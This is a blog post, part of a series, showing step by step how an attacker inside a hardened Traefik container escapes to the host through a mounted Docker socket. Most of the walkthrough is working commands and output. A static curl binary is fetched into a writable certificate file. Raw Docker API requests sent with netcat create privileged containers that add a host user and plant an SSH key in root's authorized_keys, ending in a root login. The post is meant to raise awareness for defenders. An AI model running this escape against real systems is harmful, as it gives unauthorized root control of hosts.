Opening Pandora's Container - Gaining Host Access (Part 2)

dgries

David Gries

Posted on September 28, 2024

Opening Pandora's Container - Gaining Host Access (Part 2)

In my previous post, I gave you a quick rundown on the Docker socket and its purpose. But have you ever wondered how an attacker could exploit this to seize control of your host system? In this post, we’ll explore the potential risks associated with a mounted Docker socket and how these vulnerabilities can be exploited.

~ $ ./unveiling_the_threat

I’ve chosen Traefik as our example, and for good reason - it’s often exposed to the public internet, making it a tempting target. In the world of software, vulnerabilities are everywhere, just waiting to be found. An attacker only needs one way in to run code inside the Traefik container.

While Traefik is generally recognized for its robust security features, it’s important to remember that no system is immune. Just last week, we saw the release of CVE-2024-45410, which highlighted a critical security flaw. This example serves as a stark reminder: any publicly accessible endpoint can harbor hidden dangers, and vigilance is key to securing your systems.

But let's get to the interesting part!

~ $ ./status_quo

In last week’s post, I outlined a basic setup based on Traefik's documentation. However, in a real-world scenario, administrators typically implement various hardening measures. Let’s begin with a more realistic and secure configuration for Traefik, as defined in the following Docker Compose file:

services:
  traefik:
    image: traefik:v3.1.4@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440
    container_name: traefik
    hostname: traefik
    restart: unless-stopped
    user: 10000:10000
    group_add:
      - '997'
    networks:
      - proxy
    ports:
      - target: 80
        published: 80
        protocol: tcp
        mode: host
      - target: 443
        published: 443
        protocol: tcp
        mode: host
      - target: 443
        published: 443
        protocol: udp
        mode: host
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    read_only: true
    volumes:
      - type: bind
        source: ./configs/traefik.yaml
        target: /etc/traefik/traefik.yaml
        read_only: true
      - type: bind
        source: ./configs/config.yaml
        target: /etc/traefik/config.yaml
        read_only: true
      - type: bind
        source: /var/run/docker.sock
        target: /var/run/docker.sock
        read_only: true
      - type: bind
        source: ./acme.json
        target: /etc/traefik/acme.json

networks:
  proxy:
    name: proxy
    external: true
Enter fullscreen mode Exit fullscreen mode

As you can see, this setup does not run as root; instead, it operates as a user with limited permissions. The Docker group with ID 997 is added to allow Traefik to communicate with the socket:

david@debian:~$ ls -ln /var/run/docker.sock 
srw-rw---- 1 0 997 0 Sep 28 08:46 /var/run/docker.sock
Enter fullscreen mode Exit fullscreen mode

The container uses a read-only root filesystem, and wherever feasible, files are mounted as read-only, including the Docker socket itself. The latest Traefik image and Docker version are utilized, all capabilities are dropped, and basic security_opt options are configured. So, on the surface, this setup appears quite secure, right?

Let’s take a deeper look inside the container!

~ # ./compromised

Once inside the Traefik container, we can gather some basic system information and available tools:

~ $ cat /etc/os-release 
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.20.3
PRETTY_NAME="Alpine Linux v3.20"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://gitlab.alpinelinux.org/alpine/aports/-/issues"
~ $ ls /usr/bin/
[            chvt         dirname      free         ipcrm        md5sum       od           realpath     showkey      time         uniq         vlock
[[           cksum        dos2unix     fuser        ipcs         mesg         openvt       renice       shred        timeout      unix2dos     volname
awk          clear        du           getconf      killall      microcom     passwd       reset        shuf         top          unlink       wc
basename     cmp          eject        getent       last         mkfifo       paste        resize       sort         tr           unlzma       wget
bc           comm         env          groups       ldd          mkpasswd     pgrep        scanelf      split        traceroute   unlzop       which
beep         cpio         expand       hd           less         nc           pkill        seq          ssl_client   traceroute6  unshare      who
blkdiscard   crontab      expr         head         logger       nl           pmap         setkeycodes  strings      tree         unxz         whoami
bunzip2      cryptpw      factor       hexdump      lsof         nmeter       printf       setsid       sum          truncate     unzip        whois
bzcat        cut          fallocate    hostid       lsusb        nohup        pscan        sha1sum      tac          tty          uptime       xargs
bzip2        dc           find         iconv        lzcat        nproc        pstree       sha256sum    tail         ttysize      uudecode     xxd
c_rehash     deallocvt    flock        id           lzma         nsenter      pwdx         sha3sum      tee          udhcpc6      uuencode     xzcat
cal          diff         fold         install      lzopcat      nslookup     readlink     sha512sum    test         unexpand     vi           yes
~ $ ls -ln /var/run/docker.sock 
srw-rw----    1 0        997              0 Sep 28 13:46 /var/run/docker.sock
~ $ whoami
whoami: unknown uid 10000
~ $ groups
10000groups: unknown ID 10000
 997groups: unknown ID 997
~ $ 
Enter fullscreen mode Exit fullscreen mode

As observed, we have a minimal Alpine image, limiting our immediate options. However, we do have access to the Docker socket as a member of group '997', which has read-write permissions to the socket file! Do you remember the read_only mount option? This only prevents us from deleting the socket file, not writing to it.

But how do we establish communication with the Docker API? One way would be to introduce additional tools onto the system. While we have limited utilities at our disposal, we can use the available wget - albeit this is busybox's version, which unfortunately doesn’t seem to allow communication with local socket files.

To complicate matters, the root filesystem is mounted as read-only, leaving us without a suitable target for downloading files, not even a temporary location like '/tmp'. However, there's a silver lining: Traefik requires access to the acme.json file for storing certificate information, and this file is writable! By leveraging this space, we can inject a curl binary into the container, enabling us to communicate with the Docker API:

~ $ wget https://github.com/moparisthebest/static-curl/releases/download/v8.7.1/curl-amd64 -O /etc/traefik/acme.json
Connecting to github.com (140.82.121.4:443)
Connecting to objects.githubusercontent.com (185.199.110.133:443)
saving to '/etc/traefik/acme.json'
acme.json            100% |**********************************************************************************************************************| 5310k  0:00:00 ETA
'/etc/traefik/acme.json' saved
~ $ chmod +x /etc/traefik/acme.json
~ $ alias curl='/etc/traefik/acme.json'
~ $ curl --silent --unix-socket /var/run/docker.sock "http://localhost/version"
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"27.3.1","Details":{"ApiVersion":"1.47","Arch":"amd64","BuildTime":"2024-09-20T11:41:11.000000000+00:00","Experimental":"false","GitCommit":"41ca978","GoVersion":"go1.22.7","KernelVersion":"6.1.0-25-amd64","MinAPIVersion":"1.24","Os":"linux"}},{"Name":"containerd","Version":"1.7.22","Details":{"GitCommit":"7f7fdf5fed64eb6a7caf99b3e12efcf9d60e311c"}},{"Name":"runc","Version":"1.1.14","Details":{"GitCommit":"v1.1.14-0-g2c9f560"}},{"Name":"docker-init","Version":"0.19.0","Details":{"GitCommit":"de40ad0"}}],"Version":"27.3.1","ApiVersion":"1.47","MinAPIVersion":"1.24","GitCommit":"41ca978","GoVersion":"go1.22.7","Os":"linux","Arch":"amd64","KernelVersion":"6.1.0-25-amd64","BuildTime":"2024-09-20T11:41:11.000000000+00:00"}
Enter fullscreen mode Exit fullscreen mode

But to do this, the container would need access to github.com. So let's assume it can't access the internet at all. Is there still a way? Going back to the available tools, 'netcat' ('nc') has caught my eye. 'netcat' can be used to read and write data over network connections, which is exactly what we need to communicate with the docker API:

~ $ nc -v
BusyBox v1.36.1 (2024-06-10 07:11:47 UTC) multi-call binary.
Enter fullscreen mode Exit fullscreen mode

Although the BusyBox version of netcat differs slightly from the commonly used OpenBSD version, it remains a viable option for our needs.

full_control:x:1002:1002::/:/bin/sh

So, what’s next? Access to the Docker socket effectively grants us full control over the underlying system. To illustrate this, we’ll create a user on the host system using just netcat from within the Traefik container:

~ $ echo -e "POST /containers/create HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/json\r\nContent-Length: $(echo -n '{
>     \"Image\": \"traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440\",
>     \"Cmd\": [\"sh\", \"-c\", \"nsenter --mount=/host/proc/1/ns/mnt -- /usr/sbin/useradd hacked\"],
>     \"HostConfig\": {
>       \"Privileged\": true,
>       \"NetworkMode\": \"host\",
>       \"Binds\": [\"/:/host\", \"/dev:/dev\"]
>     }
> }' | wc -c)\r\n\r\n{
>     \"Image\": \"traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440\",
>     \"Cmd\": [\"sh\", \"-c\", \"nsenter --mount=/host/proc/1/ns/mnt -- /usr/sbin/useradd hacked\"],
>     \"HostConfig\": {
>       \"Privileged\": true,
>       \"NetworkMode\": \"host\",
>       \"Binds\": [\"/:/host\", \"/dev:/dev\"]
>     }
> }" | nc local:/var/run/docker.sock
HTTP/1.1 201 Created
Api-Version: 1.47
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/27.3.1 (linux)
Date: Sat, 28 Sep 2024 15:18:51 GMT
Content-Length: 88

{"Id":"0f9e8ac0c044a6e885dbb41dfeec772097ef223dc97664dcc777a5b4da581791","Warnings":[]}
Enter fullscreen mode Exit fullscreen mode

To break down what is done here: First, the content length of the request is calculated. You could also manually do this in a prior step, but letting wc do the work is easier. Then we just print this request and pipe it into 'nc'.

We just use the same container image that Traefik uses as it's already on the system, so this would be possible in an air-gapped environment without downloading additional containers. The container will run in privileged mode and have the host's root filesystem mounted, as well as /dev. nsenter is used to enter the host's namespace and execute commands from there. That's why privileged is necessary here.

~ $ (echo -e "POST /containers/0f9e8ac0c044a6e885dbb41dfeec772097ef223dc97664dcc777a5b4da581791/start HTTP/1.1\r\nHost: localhost:2375\r\nContent-Type: application/js
on\r\nConnection: close\r\n\r\n{}"; sleep 1) | nc local:/var/run/docker.sock
HTTP/1.1 204 No Content
Api-Version: 1.47
Docker-Experimental: false
Ostype: linux
Server: Docker/27.3.1 (linux)
Date: Sat, 28 Sep 2024 15:19:24 GMT
Connection: close
Enter fullscreen mode Exit fullscreen mode

The second requests just starts the container. sleep 1 is used to allow enough time for the request to complete. A simple user is created as proof that the access works:

The fully API reference is available in Docker's documentation, for a list of possible requests.

To demonstrate that our access is successful, let’s check the /etc/passwd file on the host:

david@debian:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
hacked:x:1002:1002::/home/hacked:/bin/sh
Enter fullscreen mode Exit fullscreen mode

As you can see, we’ve successfully created a new user named hacked. From this point, we can escalate our access further. For instance, we could add an SSH public key to allow SSH access as root:

~ $ curl -s -X POST --unix-socket /var/run/docker.sock \
>   -H "Content-Type: application/json" \
>   -d '{
>     "Image": "traefik@sha256:6215528042906b25f23fcf51cc5bdda29e078c6e84c237d4f59c00370cb68440",
>     "Cmd": ["sh", "-c", "mkdir -p /host/root/.ssh; umask 0266; echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPdqdYmQgtmYArjAtFz00y69k1rUAeS6CvjAj2LWeOf6 >> /host/root/.
ssh/authorized_keys"],
>     "HostConfig": {
>       "Privileged": true,
>       "NetworkMode": "host",
>       "Binds": ["/:/host"]
>     }
>   }' \
>   http://localhost/containers/create
{"Id":"1309d783fc5b66125c61151aa6ef93d235d5e4e07b9bffaaf98389f2441c3d16","Warnings":[]}
~ $ curl -X POST -H "Content-Type: application/json" \
>   --unix-socket /var/run/docker.sock \
>   http://localhost/containers/1309d783fc5b66125c61151aa6ef93d235d5e4e07b9bffaaf98389f2441c3d16/start
Enter fullscreen mode Exit fullscreen mode

And just like that, we’ve cracked the door wide open! You can now log in as root without needing a password:

❯ ssh root@192.168.122.155 -i ./traefik_key
Linux debian 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Sep 27 18:00:01 2024 from 192.168.122.1    
root@debian:~# ls -l ./.ssh/authorized_keys 
-r-------- 1 root root 162 Sep 28 10:22 ./.ssh/authorized_keys
root@debian:~# cat ./.ssh/authorized_keys 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPdqdYmQgtmYArjAtFz00y69k1rUAeS6CvjAj2LWeOf6
oot@debian:~# whoami
root
Enter fullscreen mode Exit fullscreen mode

hardening:x:100:107::/nonexistent:/usr/sbin/nologin

This clearly illustrates that even with hardening measures in place, it’s all too easy to exploit a system when a container has access to a mounted Docker socket.

So, how can you truly secure our system? Stay tuned for my next post, where we’ll dive into the strategies you can implement to protect your systems from these potential pitfalls!

💖 💪 🙅 🚩
dgries
David Gries

Posted on September 28, 2024

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related